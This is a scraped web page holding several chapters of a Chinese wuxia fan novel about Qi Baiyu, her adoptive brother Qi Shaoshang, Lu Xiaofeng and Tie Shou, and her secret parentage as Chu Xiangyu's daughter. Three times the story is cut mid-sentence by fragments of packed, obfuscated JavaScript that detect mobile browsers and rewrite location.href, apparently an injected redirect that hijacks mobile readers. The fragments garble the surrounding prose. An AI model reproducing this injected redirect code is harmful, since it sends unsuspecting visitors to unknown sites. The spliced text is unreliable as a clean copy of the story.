金九龄在空中一个鹞子翻身,伸手接住第一箭,然后手持箭矢,接连拨开第二第三第四箭,她连珠而射,几无间隙,在几息之内六箭连射,将箭囊消耗得一干二净。金九龄见她伸手向背时摸了个空,刚松一口气,忽然脸上闪过恐怖的神色,猛地翻转回来,一掌击向地面! 他只晚了一点点——她的每一箭都蕴足内力,金九龄在空中,无处卸力,于是他接下的每一箭都将他跌落的速度推得更快一些,快到足以令背向地面的他错估自己落地的时间! 悬崖对面便是另一座山峰,两峰之间的山谷中,地势比上山的那一侧更高,坠落的时间也就更短。这一点点的错误足以致命,砰地一声巨响,他重重跌落地面,在地上滚了几滚,吐出一大口鲜血。 戚白羽自己蓦地挥袖,重重抽上身后崖壁。 宽广的衣袖鼓荡而起,又在巨力交击中被撕裂,为她减速。她将弓向肩头一挎,双袖连击,缠卷崖上枯枝乱石,最终落地时激起一大片尘土,双手衣袖几乎都被撕扯殆尽。落地的撞击亦让她受损的经脉一阵剧痛,喉头一甜,但她定了定神,将那口血咽了下去。 她静立在原地,抽出一柄薄刃,拈在手中,没有立刻走上前去。几息之后,戚少商、陆小凤、铁手相继落在她身边。陆小凤一落地即刻往前疾走几步,像是要去查看金九龄状况,但走了两步,又叹着气停了下来。 其实,不用靠近,谁都看得出金九龄已经内脏俱碎,命不久矣,他的四肢都已扭曲折断,只是凭借一口深厚内力暂时吊住性命,才没有摔落的那一刻立即死去。 陆小凤叹着气,似乎许多话在嘴边绕了一圈,又被咽下去。最后他问:“你还有没有什么要说?” 金九龄的脸色已经白如死人,自嘴边不断涌出的鲜血将他的下半张脸染红,如今他看起来既不英俊,也不风流。但是那张脸上,如今露出了一个得意的微笑。 “陆小凤,你知不知道,她是楚相玉的亲女儿?”他用嘶哑的声音,十分清晰地说。 在那句话的“楚”字刚出手的时候,戚白羽手中飞刀已经脱手而出,却被站在她和金九龄之间的陆小凤一翻手夹在指间。她和戚少商一起抢上两步时,金九龄已经说完了那句话。然后,他脸上定格着那个微笑,就这样死去了。 11. 第十一章 她一直很讨厌冬天。 她恨冬天,只是那时候她太小,在汉话或是母语中,都不懂得“恨”这个词。那时候阿娘还不是很经常提起自己的恨,阿娘只是很严苛地待她:要她绕着院子跑、要她扎马步、要她攀杆子。 三岁的小孩子哪里愿意吃这样的苦?时不时地她们便爆发争吵,总以她的嚎啕大哭告终,阿娘把她拎到门外,强逼着她在门口扎马步,不够了时长不许进屋。冬天好冷,天色那么黑,她在黑黢黢的院子里大哭,泪水将脸冻得生疼,北风卷进黑黢黢的庭院,在枯枝荒草和破败的瓦片上发出恐怖的哀嚎。 那就是她最早的记忆,关于冬夜里黑暗的院子。她曾经那么害怕、又那么委屈。 后来她逐渐习惯了这样的生活,害怕和委屈都成为过去,她和阿娘的关系才渐渐缓和下来。阿娘开始给她讲更多的事情:讲她曾经是族里最美丽的少女,讲她的族人被卷入战争,为了求和,她被献给汉人朝廷派来平叛的大将军,大将军强要了她,大将军的妻子又把她赶到这里。 阿娘讲:如果我有武功,我就可以为了保护族人而死,同我的心上人一起战死;我就可以在床边刺杀他,我就不会被他凌辱。可是我已经无从学起,你还有机会。你要学——你要成为比你阿爸更厉害的高手,然后杀了他—— 你要习武、要报仇。要杀了楚相玉。这就是我生下你的全部意义。 这就是习武吗?她不懂,她也还不理解恨,她只是默默地忍受和习惯了身上的一切难受和痛楚。对过的廊下偶然间会有其他老尼走过,她们有时向这边瞥一眼,嘀咕几句可怜。 这座荒败的小庙分为左右两边厢房,一边住着她和阿娘,一边住了三个老尼,永远穿着同样破旧的灰衣服,袖子上补丁叠补丁,但有的人的补丁要更整齐些。山间太寂静,她们偶然会跟她讲些话,也教她汉话。 她们一个叫静姑,一个叫静梧,一个叫静言。 静姑有些像她的阿娘,总在抱怨,说的话她大半听不懂,听懂的部分大约是在说自己从前也过着好日子,不该一时昏头,跟男人私奔云云;静言沉默寡言,看起来总是很疲倦,像枯干的芦苇,几乎没听她说过话。她最喜欢静梧,因为静梧是最有耐心的一个,哪怕刚和她的阿娘吵完架,也不会迁怒她。静梧也是唯一一个识字的,她学的少数几个汉字,都从静梧处学来。 一开始,她们都叫她“小丫头”,也是静梧头一个问她:“你叫什么名字?” 她磕磕绊绊、比比划划地告诉静梧她的名字,在她和阿娘的语言里,那意思大约是“白色的飞鸟”。静梧想了一想,用树枝沾着井边洒出的水,划出两个汉字给她看。 “这是汉话中你的名字。”静梧说,“白羽。” 静梧又在地上划拉着教了她另外的几个字,但她们并没有站很久,因为天冷。 真奇怪,按理说即使山上,也该有一年四季——一定有过春天,有过夏天,有过桃李盛开和艳阳高照的时候吧?有过吗? 她一定有过看着鲜花觉得快乐的日子吧,她一定也有依偎在母亲膝下说些家常话的日子吧,因为她毕竟还学会了诸如“快乐”和“笑”之类的词语。为什么那些那么短暂,而冬日那么漫长,占据了她五岁前全部的印象? 在她五岁的另一个雪夜里,一个带着刀的人上了山。他说他的主人是那个当年受王妃命令,将怀孕的妾室送走的护卫。他说“绝灭王”被灭了九族,他的主人假意投靠官府、反叛王爷,只是为了保留“绝灭王”最后的一点血脉。 等等。她想问,等等!!什么叫做“王妃”,什么叫做“妾室”,什么叫做“斩尽杀绝?”太多陌生的词语,他说得太快,她强记下发音,实则一个都听不懂。她试图让他解释清楚,但刀客似乎并不是为了要她们听懂,他不理她稚嫩的声音,也不理会阿娘用另一种语言的叫骂,只是自顾自地往下说。 刀客说,如今楚相玉背上反叛罪名,王府上上下下被斩尽杀绝,她成了唯一一个楚相玉流落在外的孩子。如今,已经没有人知道当年被送走的外族妾室其实怀着孕,他要将她们送走,这秘密不可外传。 然后他拔刀,杀了她们母女之外的所有人。 静梧、静姑、静言,她们被院外的交谈吵醒,离开了自己的卧室,于是一起死在院子里,死前都睁着眼睛。死前她们听到了刀客的话吗,知道她们的死是因为这样一个小姑娘吗?——她永远也不会知道答案。 她被放在马背上,颠簸一个昼夜,来到陌生的地方时,四肢都已经僵硬,披风之外积了一层雪,又被体温融化,慢慢打湿披风,冻得她全身骨头发疼。刀客把她们母女送去某个陌生的地方,然后为表忠心,拔刀自刎了。 他的尸身倒在她们脚下,她不觉得害怕,甚至不觉得解气,只有茫茫然的空虚。她的四肢酸软虚弱,头疼得要裂开,四周好多高大的影子在吵架,吵得她的头嗡嗡作响。阿娘把她抓得好紧,好像她要再次融入到娘亲的身体里。那些模糊的、高大的人影在说:“……是真的吗?”“金九龄已经背叛……可信吗……”“王爷的血脉……不可轻忽……”“……要复仇……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416067|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >然后忽然一个高高的影子降到了她的面前,是一个少年,蹲了下来,他微微地皱着眉,伸手要探她的额头,阿娘很用力地把她向后一拉,于是少年抱歉地后退半步,将手收回来。 “各位前辈!且听小子一言。”他说,他还蹲在她面前,离她那么近,于是清亮的声音穿透昏昏沉沉的迷雾,“这孩子劳顿一路,如今似乎在发烧,要紧的是先安顿她们,请个大夫。至于身世真假,容后再辨不迟。就算是假,咱们哪位养不起一个孩子?” 周遭安静了一下,然后他们又乱纷纷地嚷起来,好多人围向她们,阿娘尖叫着乱打,拉着她不断后退挣扎,她天旋地转,闭上眼睛。 再睁眼的时候,她面前只有那个少年了。 “你听得懂汉话,是不是?”少年问,她点了点头,他看起来大大地松了口气。 “太好了,我们谁也不会说你娘的话。”他说,“你能不能告诉她,我们不会伤害你们俩。” “你们杀了她们。”她说,说出口时才意识到或许她不该这样指控,不该惹恼这些人,但是晚了,迟来的怒火和眼泪推挤着这句话,不由自主地冒出来。 “……谁?” “静梧、静姑、静言。” 少年或许不知道她说的是谁,但还是露出歉疚的神色:“抱歉。”他安静地承认了,哪怕很久之后,她知道,他与这件事全不相干。 他们互相瞪了一会儿。最后她还是转达了少年的话,主要还是因为阿娘的手在她的肩膀上越抓越紧,已经疼到她有点儿受不了了。 “你父亲是谁?”她转达完、身后的母亲安静下来后,他又问。 “楚相玉。”她流利地、不假思索地回答。这是她听过太多次的名字。 少年再一次大大地松了口气。 “太好了,我们是楚相玉的部下……呃,你听得懂部下吗?”他捕捉到了她脸上掠过的困惑,“属下?小弟?总之,我们听他的话,给他做事。他现在遇难,嗯,遇到了不好的事情。我们要一起救他。” ……为什么我父亲是楚相玉,我就要救他呢?她困惑地想,但这一次她终于克制住了,没说出口。她直觉这是一个不容违逆的问题,就像习武对阿娘来说不容违逆一样。 “你是楚相玉的女儿。”少年说,她点点头。 “这件事你不能告诉其他人,有很多人会想杀你。”他说,“从今往后,你是我的妹妹。——我叫戚少商。你叫什么?” 就这样,她拥有了一个新的汉话名字。 从此之后,她叫戚白羽。 12. 第十二章 金九龄的尸身仍旧横陈于他们面前。 陆小凤很滑稽地张大了嘴,又慢慢合上,指缝里夹着的薄刃掉在地上。他瞪着戚白羽,像是见了鬼一样,道:“你是……” 戚白羽极快地与戚少商对了一个眼神。她沉默片刻,冷冰冰地道:“是。” 陆小凤又转过头看了看戚少商:“那你……” 戚少商道:“我不是。” 陆小凤两只眼睛瞪得大极了,他的目光在两人之间来回看了半天,又低头看了看掉在地上的那柄薄刃,苦笑道:“我只想让他把人生最后一句话说完。只是,现在看来,还是不说完的好!” 戚少商道:“没错。” 他们兄妹,已经隐隐呈现包夹之势,和陆小凤站成一个三角,彼此对峙。如今戚白羽手上已没有箭,但陆小凤心中知道,他们两人无需武器,也一样是强敌。他四条眉毛一齐耷拉着,道:“我以性命起誓,绝不会透露此事,你们肯不肯信?” “有些人成天立十个八个毒誓,不也一样活得好好的。”戚白羽冷声道。 陆小凤干笑道:“就算我说出去,又哪里有人肯信?众所周知,楚相玉早在十数年前就被灭了九族,连仆役都死得一干二净,根本不可能遗下一个亲生女儿……” 戚少商冷笑道:“哪里需要旁人相信?只要让狗皇帝心里起一点疑心,难道他不会来追杀白羽,乃至除净整个连云寨?” 他的呼吸深长,显然已经暗中运功,而戚白羽唇边还残留血痕,手中长弓已经如兵器般横在身前。在旁的铁手忽地上前一步,道:“金九龄死前说出这句话,正是认为二位绝不会放心我和陆兄知晓这桩秘密,要我们自相残杀。眼下我们四个若要互相拼命,谁胜谁负还未可知,就算胜的那一方,只怕也要付出巨大代价。岂不是正中他的下怀?” 陆小凤跳起来,道:“正是、正是——那你有什么好办法没有?” 铁手道:“我确有个法子,不知陆兄能不能接受——既然你我二人,知晓了一个足以威胁戚姑娘性命的秘密,作为交换,你我也分别说一个足以威胁自身性命的秘密,以示诚意。” 戚白羽与戚少商对视了一眼。 她从他眼中看出:他一点都不愿意动手杀人,尤其是杀陆小凤和铁手。若这事换做戚少商自己,只怕不必交换,也愿意与他两人罢手言和。当然,若是她非要杀他们,他一定也会帮她——会非常不情不愿、非常痛苦地帮她。 于是她叹了口气,答应下来:“你们谁先来?” 此言一出,气氛明显缓和起来,在场的人,包括她自己,都松了一口气。陆小凤摆摆手,道:“铁兄,你先吧。” 戚少商道:“怎么,陆小凤一生没做过什么亏心事,留不下把柄?” 陆小凤笑道:“正是因为做的亏心事太多了,不知道要讲哪一个才好?” 戚白羽转目望了望铁手,铁手也正望着她。他向她传音入密,道:“戚姑娘。我曾身中唐门‘冰火七重天’之毒,后来服下解药时,其中六重已经发作,无法彻底解毒,只能暂且压制,只要吸入一点大漠焚风草,或是极地冰魄寒髓,便会引发第七重毒性发作,届时毒性攻心,药石难救。” 她心想:我怎么知道这是真的?若是假的,我又没法子验证;若是真的,你便不怕我传扬开去?可是她忽然又觉得不必问:有的人只要见过一面,便知道他不会说谎。铁手便是这样的人——他也再三证明了,他的确是这样的人。 于是她没有追问什么,也没有承诺什么,只一点头,将目光移向陆小凤。陆小凤正和戚少商对视,过了片刻,戚少商转过脸来,向她点了点头。她没有追问陆小凤的秘密是什么——她对此实在没有什么兴趣,戚少商一人知道就足够了。 陆小凤欲言又止地望了望戚白羽,实在好奇极了,想知道她到底怎么会是楚相玉的亲生女儿,怎么做到逃脱了当年楚相玉全家的族灭,又在往后这些年里没有露出半分破绽。尤其是,她到底为什么要亲手杀了自己的亲生父亲。 可是,虽然他于此一无所知,连猜都没个猜处,却有一样事情是他确凿地知道的:这背后无论蕴藏着怎样的往事,都不会是一个幸福美满的故事。 而陆小凤不愿意这样揭人伤疤。 于是,虽然心中痒得好像一百只猫在抓,他还是咽下了所有的问题,转过身去,在金九龄的身边蹲下。天色始终没有亮起来,像是又要落雪。陆小凤借着昏暗的天色拿袖子擦了擦金九龄脸上的血迹,发现那血已经干涸了,不那样容易擦净,便收回了手,转而将他打横抱了起来。 “那我就先告辞了。”他说,“金九龄从来都只用第一流的东西,这样的人,死后也得用第一流的棺材才行。” 铁手苦笑道:“这几桩大案,都要归结到金九龄身上,我需得将他尸身送回京城六扇门结案才行。” “我会将他送去的,绝不比你迟一天。”陆小凤道。 铁手竟就信了他,不曾再劝什么。陆小凤转脸认真地凝视了半晌戚白羽,她神色淡淡与他对视,脸上并不见什么表情。 “金九龄是我的好朋友。”他说,“铁游夏也是我的好朋友。你杀了我一个朋友,救了我一个朋友,但杀的是恶人,救的是好人。下次再见面,我请你喝酒。” “我不喝酒。”戚白羽答。 “那我带你去找花满楼喝茶——他那儿有江南最好的茶!” 话音犹在,他人已经几个起落,远在茫茫白雪之外。他们面前只剩一片凌乱的雪地,和上面泼溅的血迹。 三人对望了一眼,戚少商问:“铁兄要回村中么,不如一道同行?” 言下之意,他自然在来之前,已经调查过铁手的动向,铁手只像听不出一般,心平气和地应了一声。 几人沿着峡谷而行,这条道路要绕过整座山,道中乱石嶙峋,狭路曲折,比正常的道路遥远得多,因为铁手和戚白羽都还带伤,他们没有全力赶路,只略略动用轻功,于是沿途留下漫长的的沉默。 戚白羽不曾说过话,铁手也没有问什么,终于,还是由戚少商打破了沉默。他问:“那么,铁兄打算如何结这几个案子?” “第一桩铁箭杀人案之中,白一呈、沙通天、彭连虎等人均属江湖仇杀,不在官府管辖之内;至于李鳄泪和李惘中父子,我三师弟应当已在青田镇调查李鳄泪在当地作恶的证据,一并为青田镇百姓的陈年冤案翻案。此案查清之后,仍需交由六扇门裁断,但依我猜测,待诸般证据调查明白,不会再有人为李鳄泪追究凶手——多半只是寻常的官府捕文。这等案子,连云寨想来已经背了不止一个了。” “傅宗书难道也不会追究?”戚少商问。 “傅宗书一向擅长将手下扔去做替罪羊,尤其是已经死了的手下。”铁手答道。他向戚白羽望了望,但她只是向前走着,神色不动,仿佛正说起的这几桩案子与她的声名或生死都并无关系。 她是有自信不惧怕朝廷的捉拿,还是说,于她而言,声誉和生死都可以不在乎? 铁手在内心里暗叹了一声,续道:“至于第二桩绣花大盗案、和第三桩金九龄身死之案,本当并作一处调查,可惜金九龄死前承认的罪行,只有我和陆兄为人证,怕不足够,还要追查他所窃财物的去处,以作旁证。我们回了京城,还有得奔波了——陆小凤也是逃不掉的。” 戚少商问:“那么,金九龄为何要杀白羽,因而死在此地,你编好了新的借口没有?” 铁手奇道:“何须新的借口?金九龄想要替傅宗书招揽戚姑娘,招揽未成而翻脸——只需实话实说罢了。似戚姑娘这样的高手,得人青眼,并不足怪。” 戚白羽略转了转头,轻轻瞥了他一眼,她看似面无表情,戚少商却看得出她的目光略微柔和了些。不知为何,他心中忽然升起一股对铁手的不爽,却又知道他说的是真心话,并非有意奉承,于是只好咽下这口气。他问戚白羽:“你是怎样说服他的?” 戚白羽道:“何须我来说服?” 她言下之意,似乎戚少商自然应该想明白——戚少商此时心里转的念头不同,看她的表情更是奇怪了。戚白羽看他神色不对,解释道:“铁手功力恢复,比我们所有人想的都要快。那日在客店里,你说的话、金九龄说的话,想必都落在他耳中,我哪里用得着再说什么?” 铁手赧然地笑了笑,道:“虽非君子所为,但听见有人要图谋我性命,也不得不悄悄听一听。我向二位赔罪了。” 戚少商大笑道:“好,是我小觑了天下英雄,若不是铁兄,险些便吃个教训!” 铁手道:“哪里。便是没了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416068|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,二位加上陆小凤,对付金九龄,本也十拿九稳。我倒不解,金九龄何须布下这重重圈套,非得用江湖中的手段解决问题?他位高权重,又攀上傅宗书,只消将连云寨一事原原本本报上去,我们三个自然都要遭殃,于他岂不便捷得多?” 戚少商一听便笑了,道:“他当年也是楚相玉老部下,这些年间,他拿了我们的把柄,我们难道没有他的把柄?所以他要把你拉进局中,便是为了害死白羽后,能教连云寨和神侯府互咬,忘了他在其中的作用。我和白羽但凡有一人记恨到他头上,散些消息出去,便够他受的了!” 铁手恍然:“原来如此,戚姑娘有信心杀他而不惹祸上身,想来也是因为这个。” 戚白羽略一点头,没再多话。 他们这时已经接近谷口,出了山谷,再行一段村道,便到镇上。忽然传来呜的一声长啸,是一阵狂风卷过山谷,旋即雪花纷落,初时三两零星,只几步路功夫,便渐急渐密,落得三人头上肩上,一片雪白。 戚少商一边运转内功,将落雪震开,一边很是自然地抬起手来,但顿了一顿,却又将手放下了。 她忽然心中一酸。 戚少商抬手时,是想为她拂去积雪。他做得那样自然,那样不假思索,就像她六岁那年,他第一次去草原上看她那样。 那时楚相玉一案纷纷扬扬,牵连无数,有许多人想要营救他,有许多人因为他被捕或被杀。她作为唯一的血脉后代,为了隐匿踪迹,由楚相玉的红颜知己陈玉容隐姓埋名,将她带去塞北草原,教她武功根基。 戚白羽的阿娘坚决不肯一起跟去:她忍了太久,无论如何,她都要抛下这个被强迫而来的孩子,回到自己的家乡去。到底遂了她的意。于是戚白羽独自跟着陌生的老师,开始了每日除了学习便是苦练的生活。 大半年后,作为她名义上的兄长,戚少商到草原来看她。 她还记得第一次见他时,那种强烈的不知所措:鲜衣怒马的少年笑着纵马而来,把她规律而无趣的生活搅得一团乱。他在她面前摆开一堆色彩鲜亮的、她见都没见过的新奇小玩意儿,在她伸手试探着触碰的时候抓起她的手。 “你的手上怎么回事?”他问,皱着眉翻来覆去察看她手指上冻疮的痕迹,“回头我给你找个大夫——不,我回去立刻带个大夫过来!” 结果,那年冬天他没带来大夫,自己都被草原上突如其来的大雪困在了这儿。他倒不见发愁,自得其乐地安居在临时收拾出的偏房中,还在她早课的时候为她说情:“天也太冷了——非得立在雪里练么?” 陈玉容站在门口,皱着眉道:“要练这冰魄寒光掌,刚入门时,便是要自外领受寒气,化于己身。你别来掺和添乱。” “是是是。”戚少商好声好气地应了。她闭着目,立在雪中,从肢体僵硬的寒意中竭力化出那一丝寒冰内力,游走于脏腑经脉之间——这练功将会持续两个时辰,一分一秒都不可分心,若是一时懈怠了,失了内力相护,不久便会在寒冬中当真冻成冰雕。 她已经习惯,于是不以为苦。但隔了一会,她忽然觉得头顶微微拂过一股风,于是发间及两肩,那股冻得发痛的感觉忽然弱了下去。 是戚少商在旁,轻轻地虚拂过她的头顶,以柔和的掌风,将她身上落雪吹去了。 一开始他或许只是一个普通的好人,哪怕只顶个兄长的虚名,也见不得年幼的女孩受苦。后来他来往草原,为她寻医问药,教她梳妆打扮,教她中原见闻,渐渐地撬开她的嘴。她对他能说的话越来越多,他也到访得越来越频繁。 经年日久,渐渐地两人熟悉了彼此的性格、知晓了各自的癖好,见识过不知多少尴尬出丑的时刻,终于,戚少商当真成了她的大哥,比她真正的血脉亲人更亲近。就连楚相玉——他们最初相识的缘由——也不能彻底破坏这关系。 但是,她杀了楚相玉,到底还是改变了太多。戚少商仍待她好,但他们太亲近,以至于任何改变都太过明显,都在其中刺痛。 这就是为什么她独自离开连云寨。如果戚少商没有追来,如果她和楚相玉同归于尽,那么,她的身世再也不会对连云寨造成威胁,那会是对其他所有人都最好的结果,也是她唯一能做到的报偿。 如今她活了下来,但是,她依旧不再准备回去了。 13. 第十三章 他们并未安稳地抵达客店:陆小凤抱着金九龄的尸身回到小镇,显然已在此地引起轰动,显然他已解释一番,又即刻离去——但这样的震动,简略的解释显然是不足够的。还在镇外,三人就被聚集的人团团围住。 铁手留下来,忙着同众人解释,戚白羽和戚少商瞅空脱了身,也未回客栈,戚少商引着她拐入小巷,自一处窄窄的偏门,进了一处小院。 戚白羽问:“你和陆小凤便是待在这儿?” 戚少商道:“还是陆小凤找到的地方。” 两人说着进了屋,屋中器具寥寥,看不出有人待过的痕迹。戚少商才关了门,便向她一伸手:“你伤得如何?” “只衣服破损罢了,伤得不重。” 他微微皱着眉头,看起来比她的亲娘还像个挂心的老母亲,她跟他对峙一阵,只好妥协地伸出手去。戚少商搭了二指在她脉上,以内力一试,眉头皱得更紧了:“也伤得不轻。” “都是能恢复的伤,哪里算重了,我调息一两个月就好。”戚白羽道。 戚少商叹了口气,将门一关:“你现在调息就是了,我给你护法。” “你还有话要问我吧。” 戚少商没好气地瞪了她一眼:“都迟了半个月了,我还急在这一时?” 她这一下无话可说,只得盘膝坐下,入定调息。 但她也的确不曾逞强——疼是疼的,可疼对她来说只是家常便饭,更何况此时的剧痛不是经脉当真受了重创,更多的倒是因为她杀李鳄泪的伤还未愈,又在与金九龄交手之间,彼此内力震荡。 她根据楚相玉传下的“烈火赤焰掌”和“冰魄寒光掌”,加以改良,研究出一种混元内劲,可将烈火与寒冰两种内力在体内合而为一,真要用到相应的功法时,再行激发,平日里出手,并不显露。这内劲比之楚相玉所修,免去了烈火与寒冰内力在自己体内冲突之虞,但是几种内劲彼此转化,便注定不那样稳固。她毕竟还年轻,没来得及将这门功法推演至完美,与金九龄这样的高手激烈过招时,内息便隐约有些不受控。 她运功两个大周天,才将周身上下内息梳理归拢。再睁眼时,戚少商坐在她对面的椅子上,头向后靠着土墙,微微阖目。戚白羽试图辨别他的眼下是否带着青黑,神情中是否隐含倦色,但是她的呼吸才一变,他已经闪电般睁开了眼,坐直了身子。 “好一点了?”他问,戚白羽点点头。 戚少商凝神,于是她也静听了一下:隔着木板墙,她听到外间一片安宁,雪已停了。左近民房里,隐约有邻居的交谈声。戚少商问:“出去走走?” 于是他们离开了小院。门外积雪深至脚踝,他们两人踏在雪上,向镇外的方向行去,在松软的白雪顶端留下浅浅的足迹。除了他们,不见人迹:天色已暗下来,再没有谁会冒着大雪在夜晚出门。 “想问就问。”走到镇外,以他们的耳力,都再也听不见人声的时候,戚白羽催促他。 “现在可以说了吧。你为什么不肯告诉其他人这件事?” 她勉强笑了一下:“你不是追上来了吗?” “若不是撞见关飞渡,要为他洗清嫌疑,你不会再杀后面那几人。倘若你杀完李鳄泪,一击远走,不管是铁手还是我,都不会这么快追踪到你的行迹。在我们有头绪之前,你就会和金九龄见面,那时他就要烦恼如何将铁手引来,你便可待他流露破绽、或是不设防的时候,寻机与他决一死战。是不是?” “是。” “为什么?”戚少商追问,“金九龄想要招揽连云寨,这又不是你一个人的事!” 戚白羽冷笑了一下:“不,或许一开始他真的想招揽连云寨。但当他发现我杀了楚相玉,他就变成了真心想杀我。” 戚少商竟沉默了一刻。 “那天到底发生了什么?”他问,“在那之前,你一直同我说,你未下决断,你需要先见一见他。我本以为,你最多不过是自行离去,不肯帮他罢了……为什么你最后杀了楚相玉?” - 那天沧州下着百年一遇的大雪。 戚白羽纵马赶路,为着抢时间,她走了小道,这里的积雪又格外厚许多,马蹄深深地陷进雪里,拔出来时分外费劲。最后她跃下马背,示意它自己回去,她则运起轻功,在雪上一路疾行。 纵使如此,她也没能赶上战斗的开始。等她远远地听见交战声,缓缓地借着林木掩饰靠近战场时,她只看见满地的伏尸和激烈交战的几个人,楚相玉本人竟然不见踪影。但是交战的那几个她认得出来:是楚相玉身边带着的沈云山和时家兄弟。 对沈云山,她和戚少商各有好恶,但是时家兄弟,不论问谁,都只有“畜生”二字可作评价。这两个人作恶多端,无处可去,才会抱着赌徒心理投靠刚刚逃狱的楚相玉,她知道戚少商曾经力劝楚相玉不要招揽他们,甚至想过要干脆在连云寨杀了这两个恶棍,不过最后,显然楚相玉没有听他的意见。 ——但是在她这里,楚相玉可没有那么大的权威。 她毫不犹豫,发箭拦下了他们的攻势,叫这两人的对手将两人斩杀。只可惜,她发箭再去相援沈云山时,未能建功。场中立刻有两个人朝发箭的方向追赶而来,但她提前一步,在树干上一踏,轻轻地在林木间滑了开去,连一个脚印都不曾留给他们。 北方的树林在冬日大雪里早已落尽枝叶,只剩下光秃秃的树干,突兀地直指向灰蒙蒙的天。这样的树林能提供的遮蔽不算多,要绕开他们的搜寻,戚白羽不得不在树林间费心绕一个大圈。她一面贴着树干穿行,一面在想:楚相玉到底去了哪里?似乎他们也找不到他——这么多人当面,难道他能突然消失了不成? 她得见到他,才能知道怎么对待他。 这个没有生她、没有养她的人,只因为顶了“父亲”的名号,便改变了她的一生。她的母亲说他是杀神和暴徒,她的师长说他是英雄好汉,她却只想甩脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416069|200763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个名字——当然,那是小时候的幼稚空想。她早就接受了现实,知道她不可能真的甩开楚相玉。 可是,他们所安排的这两条路:杀了他,或者追随他,戚白羽一条也没打算走。 她没法只听凭旁人言辞,就轻易做出这样重大的决定,至少她要见楚相玉一面,亲眼看看,他是个怎样的人。 当然了,哪怕她的一生所学都是要将她培养成楚相玉麾下得力大将,她也不打算真的追随楚相玉。她宁可把一身的骑射本领虚掷,也好过为这样一个“父亲”征战沙场。 可是,或许在那么多人的笃信和崇拜中,的确有什么东西是真的。她的那些老师,每一位都是杰出人物,每一位都甘愿为楚相玉而死。或许他的确能做个英雄,能够带领义军打起反旗,能够最终扶植起一个好皇帝,或者自己成为一个更好的皇帝,叫百姓摆脱这种被贪官污吏和苛捐杂税压得透不过气的生活。 她实在见过了太多、太多命运悲惨的百姓。如果楚相玉是能改变这个世道的雄主,她愿意忍下仇恨,暂且帮他活下来。 然后她见到楚相玉从雪中跃起,将追捕他的那些人全惊了一跳。 这是她第一次见到楚相玉,这个传说中的英雄,这个名义上的父亲。 他的确颇有英雄气概,单单是立在那里,就让七八名高手全都不敢出手,叫她离着这样远,都感受到盖世武功的强大。他开口招揽铁手,言语间气魄不凡,可是她没有畏惧,只有愤怒。 ——你这样强大,为什么在你的属下纷纷身死的时候,你却不救他们?为什么在早已追随你、为你卧底十余年的沈云山被杀的时候,连我都愿援手,你却不肯相救?为什么,你眼睁睁看他死了,却开口招揽追杀你的人? 她这样想,显然在远处,被招揽的那位也这样想,并替她问出了口。楚相玉漠不关心,迳自笑道,“我手下正需要一些骠勇的悍将,所以才来问你的意思,你们杀沈云山时我不出手,一方面因药力未完全逼出,二因我用得着你们,而沈云山又是你们的死敌,他一旦不死,你们容不得他,他也容不得你们,所以我只好等他先死了。” - 戚少商失色道:“他真的这样说了?” 戚白羽冷笑一声。 “这句话完完全全是他的原话,我一个字都不曾忘记。”她说,“那一瞬间我意识到,不管我曾期待过什么,你们曾期待过什么,都落了空。一位名将会这样对待自己手下的将士吗?一位明君会这样不顾惜臣民的生死吗?他甚至连掩饰都懒得掩饰。为他卧底十余年,始终忠心跟随的沈云山尚且被这样轻易抛弃,真叫他做了皇帝,你以为他会爱惜天下百姓吗?他不是英雄,不再是了,他只是个在牢里被关疯了的狂徒罢了。” 戚少商无言以答。戚白羽与他对视,她的目光那样冷,几乎令他陌生。 “我也很遗憾不曾见过你们口中那个豪气干云的英雄。我所知的楚相玉,只有这样一个疯子。” 14. 第十四章 戚少商什么也没说。 她能理解他无法附和:因为戚少商实实在在地见过二三十年前的楚相玉,他曾追随那位文武兼备的将军和豪侠麾下,受他恩义、得他信重。哪怕后来楚相玉变了一个人,可是当年的恩情不会消失。 如今他的妹妹杀了他仰慕半生的恩人,他能如何呢? 他已经待她太好,好过了她所有的设想:从一开始她就知道,她能被收养和精心教导,完全是为了相助楚相玉。结果,她居然亲手弑父。如果她的那些师长如今还活着,他们任何一个人可能都会不计生死地追杀她。而戚少商默许了她可以按照自己的心意抉择,甚至不曾对她说过一句责备。 但是,他们也不可能再同从前一样,亲密无间、无话不谈了。 “……至少现在,你再也不是楚相玉的女儿了。”戚少商闷了好一阵,说。 “不。”她的声音疲惫而厌倦,“我不愿做他的女儿,可我确实是。我的眉眼和颌骨像他,我的内力和掌法都传承自他,我一身骑射本事全是为了代他征战而学。这二十几年,我如今已经无法割断。” “这没关系。如今知道内情的,只剩下你我、铁手、陆小凤而已。只要这几个人不再开口……” 